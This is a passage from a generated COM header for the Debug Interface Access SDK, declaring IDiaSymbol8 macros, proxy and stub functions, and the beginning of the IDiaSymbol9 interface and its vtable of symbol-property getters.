get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol8_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol8_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol8_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol8_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_isStaticMemberFunc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_isSignRet(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) \n\n\n#define IDiaSymbol8_get_coroutineKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_associatedSymbolKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_associatedSymbolSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) \n\n#define IDiaSymbol8_get_associatedSymbolOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_associatedSymbolRva(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) \n\n#define IDiaSymbol8_get_associatedSymbolAddr(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_coroutineKind_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_coroutineKind_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolKind_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_associatedSymbolKind_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolSection_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_associatedSymbolSection_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolOffset_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_associatedSymbolOffset_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolRva_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_associatedSymbolRva_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolAddr_Proxy( \n    IDiaSymbol8 * This,\n    /* [retval][out] */ ULONGLONG *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol8_get_associatedSymbolAddr_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol8_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol9_INTERFACE_DEFINED__\n#define __IDiaSymbol9_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol9 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol9;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"a89e5969-92a1-4f8a-b704-00121c37abbb\")\n    IDiaSymbol9 : public IDiaSymbol8\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePadSize( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePadOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isRTCs( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol9Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol9 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol9 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol9 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol9 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol9 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol9 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* 